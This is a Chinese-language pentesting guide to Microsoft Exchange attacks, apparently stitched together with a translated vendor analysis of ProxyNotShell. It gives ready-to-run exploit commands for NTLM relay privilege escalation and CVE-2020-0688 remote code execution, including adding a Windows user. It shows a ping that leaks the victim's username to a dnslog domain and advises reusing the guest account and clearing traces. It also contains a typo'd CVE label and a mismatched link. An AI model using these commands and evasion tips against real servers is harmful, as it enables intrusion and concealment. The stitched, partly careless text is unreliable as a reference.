Exchange是微软出品的邮件服务器系统,凭借其强大的功能优势被应用到很多企业、学校的邮件系统搭建中。截至目前,Exchange已有多个成熟版本,例如:Exchange Server 2010、2013、2016、2019等。此外,Exchange又可分为Exchange Server和Exchange Online。
目前最新版本Exchange主要包含两个角色,分别是邮箱服务器角色和边缘传输服务器角色。
邮箱服务器角色
1.包含用于路由邮件的传输服务;
2.包含处理、呈现和存储数据的邮箱数据库;
3.包含接受所有协议客户端连接的客户端访问服务;
http、RPC over HTTP、MAPI over HTTP、pop3、imap4、um呼叫
4.包含向邮箱提供语音邮件和其他电话服务功能的统一消息(UM)服务。
边缘传输服务器角色
1.处理Exchange组织的所有外部邮件流;
2.通常安装在外围网络中,可订阅内部Exchange组织。当Exchange组织接收和发送邮件时,EdgeSync同步进程会向边缘传输服务器提供收件人信息和其他配置信息。
渗透测试人员最为关心Exchange对外提供的访问接口,以及使用的加密验证类型。
相关接口
1.outlook客户端(MAPI协议)
2.outlook web app(以web形式访问 https://域名或ip/owa)
3.POP3和IMAP4(可以通过POP3协议利用其他客户端)
Exchange密码枚举工具GitHub - sensepost/ruler: A tool to abuse Exchange services
VE-2018-8581
这个漏洞利用一个可以正常登入的普通用户账户,通过ssrf调用Exchange Server凭证到已控制的内网服务器上,并默认Exchange Server权限较高,就达到了提权的目的。
GitHub - sensepost/ruler: A tool to abuse Exchange services
CVE-2019-1040
在这个漏洞之前利用smb转ldap时,有个mic检查导致无法中转成功,但利用这个CVE-2019-1040漏洞就实现了直接绕过mic检查,这是这个漏洞的关键点。利用方法类似2018-8581的形式。
更新我们的impacket
gti pull https://github.com/SecureAuthCorp/impacket
ntlmrelayx.py --remove-mic -t ldap://10.0.0.158 --escalate-user test -smb2support
触发SpoolService的bug产生smb回连工具
https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
其他等同2018-8581部分
两个漏洞的区别
2018-8581是利用exchange漏洞产生http->ldap中转实现的提权,2019-1040是产生的smb->ldap中转,并且绕过mic检查。
CVE-2020-0688 exchange远程代码执行漏洞
影响版本:
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019
漏洞介绍:
所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时,攻击者可以在被攻击的exchange上执行任意代码,直接获取服务器权限。
--validationkey=CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)
--validationalg = SHA1(默认,漏洞产生原因)
--generator=B97B4E27(基本默认)
--viewstateuserkey = ASP.NET_SessionId(可以通过手工获取变量,也可以通过脚本模拟用户登录获取该值)
以上4个值中仅需要用户登录之后访问/ecp/default.aspx 界面在header里面获取ASP.NET_SessionId,其余的均为默认值
使用方法:
python CVE-2020-0688_EXP.py -s https://192.168.1.152 -u test@exchange2016.com -p !QAZ2wsx -c "cmd /c calc.exe" 在目标机中打开计算器
-s 地址
-u 用户名
-p 用户名密码
-c 命令
python CVE-2020-0688_EXP.py -s https://192.168.1.152 -u temp@exchange2016.com -p !QAZ2wsx -c "cmd /c net user ad !QAZ2wsx /add"
添加新用户ad
注意事项:可以访问Exchange Control Panel (ECP)组件的用户,这一点非常重要!!!
目前GitHub公开的exp利用工具很多都是作者用超级管理员账号进行的测试,但是对于普通用户来说,是无法进行使用的,所以本次复现中使用的exp是一个比较好的利用工具,可直接使用。
链接地址:
https://github.com/Yt1g3r/CVE-2020-0688_EXP
关于后渗透阶段:
可参考:
https://www.freebuf.com/company-information/211051.html
1. 判断是否存在漏洞:
在判断是否存在漏洞中,从最初的版本利用来看,可以对未安装cve2020-0688安全补丁的Exchange Server 2013所有版本、Exchange Server 2016(截至2020年3月17日之前的版本)、Exchange Server 2019(截至2020年3月17日之前的版本)有效。在未打补丁的情况下,基本上算是一个通杀。
具体来讲,可以通过以下方式判断:
1)查看版本号和官网的版本进行对比
2)通过普通用户登录之后,访问https://exchnage/ecp/default.aspx
如果默认值为B97B4E27,且在headers中存在ASP.NET_SessionId则可能存在漏洞。
2. 判断存在漏洞的版本是否攻击成功
1)在渗透初期可以使用dnslog来探测命令是否执行成功,示例如下:
首先打开网址:https:dnslog.cn
使用命令如下:
python CVE-2020-0688_EXP.py -s https://192.168.1.160 -u Administrator@exchange2016.com -p !QAZ2wsx -c "cmd /c ping %USERNAME%.3d3uhm.dnslog.cn"
由此可以检测攻击有效。
注意事项:在实际测试中,最好DNSlog服务自行搭建,申请临时域名来测试。
3. 攻击操作
https://www.freebuf.com/company-information/211051.html
可参考以上链接的内容,获取某个用户的密码账号等信息,方法有很多。
最好不要新建用户,可以采用激活guest的方法来,后期也要痕迹清理。
CVE-2022-41040 和 CVE-2022-41082
CVE-2022-41040,是一个服务器端请求伪造 (SSRF) 漏洞,允许经过身份验证的攻击者远程触发下一个漏洞 CVE-2022-41082。反过来,当攻击者可以访问 MS Exchange PowerShell 时,第二个漏洞允许远程代码执行 (RCE)。正如 GTSC 报告中所指出的,这两个漏洞在野外被一起利用,在易受攻击的服务器上创建后门,并执行横向移动。
Microsoft 称,这些漏洞影响了 MS Exchange Server 2013、MS Exchange Server 2016 和 MS Exchange Server 2019。
2022 年 10 月 11 日,Microsoft 发布了补丁以覆盖这些漏洞,作为其补丁星期二更新的一部分。之后,在 11 月 17 日,一名安全研究人员发布了第一个工作 PoC。这是一个接受以下参数的 Python 脚本:用户、密码、邮件地址和要在受害者主机上执行的命令行。
网络安全社区将这对漏洞称为ProxyNotShell。该名称指的是最近的 ProxyShell 攻击链,其中包含 2021 年披露的 Exchange 服务器中的类似漏洞。ProxyShell 是一组三个漏洞:CVE-2021-34473、CVE-2021-34523 和 CVE-2021-31207。攻击者使用它们创建 Web shell 并在易受攻击的 Microsoft Exchange 服务器上执行任意代码。
ProxyNotShell 利用细节
此攻击的第一步是利用CVE-2022-41040访问 PowerShell API 端点。在 Exchange自动发现机制中使用不充分的输入数据过滤,具有已知注册帐户登录名和密码组合的攻击者可以访问 Exchange Server API 的特权端点(https://%exchange server domain%/powershell)。此访问允许攻击者在服务器计算机上的 Exchange 环境中执行 PowerShell 命令,通过 XML SOAP 协议将它们传递到有效负载中。
在下一步中,攻击者必须通过WSMAN 协议访问基于 Web 的企业管理 (WBEM)。攻击者在易受攻击的系统上启动 shell,以通过Windows 远程管理 (PsRemoting)进一步执行 PowerShell 脚本。
带有 XML SOAP 的 HTTP POST 请求以启动 PsRemoting
启动外壳后,攻击者应立即延长其生命周期;否则,shell 将被关闭,因为它的过期时间默认太短。这是在 Exchange Server 上进一步执行命令所必需的。为此,攻击者立即通过启用保持活动选项的WSMAN发送特殊请求。
使用 XML SOAP 的 HTTP POST 请求以延长 shell 的生命周期
之后,攻击者利用了第二个漏洞——CVE-2022-41082。通过使用 PowerShell Remoting,攻击者发送创建地址簿的请求,将编码和序列化的数据与特殊负载作为参数传递。在已发布的 PoC 中,此编码数据包含一个名为System.UnitySerializationHolder的小工具,它会生成System.Windows.Markup.XamlReader类的对象。此类处理来自负载的 XAML 数据,该负载创建System.Diagnostics类的新对象并包含用于在目标系统上打开新进程的方法调用。在已发布的 PoC 中,此进程为calc.exe。
带有 XML SOAP 的 HTTP POST 请求启动新进程
执行 calc.exe 进程的主要负载部分
ProxyNotShell 后开发
在漏洞被披露几周后,卡巴斯基检测到ProxyNotShell在野外被成功利用。演员执行了以下操作:
- 侦察(用户、组、域)
- 各种劫持尝试(甚至丢弃易受攻击的二进制文件)
- 远程进程注入
- 坚持
- 反壳
在这种情况下,攻击者拥有执行此类入侵的凭据。他们利用了公司的 Exchange 服务器,因此能够在 Exchange 机器上创建他们想要的任何进程,将命令作为有效负载传递。
在服务器端,所有通过漏洞利用启动的进程都有一个带有特定参数的主父进程:w3wp.exe -ap “msexchangepowershellapppool”。
攻击的这些利用后步骤与TrendMicro报告的攻击步骤非常相似,唯一的区别是所利用的漏洞。
我们的产品可防止所有这些利用后步骤以及利用CVE-2022-41040和CVE-2022-41082漏洞的其他攻击。ProxyNotShell的检测名称是PDM:Exploit.Win32.Generic。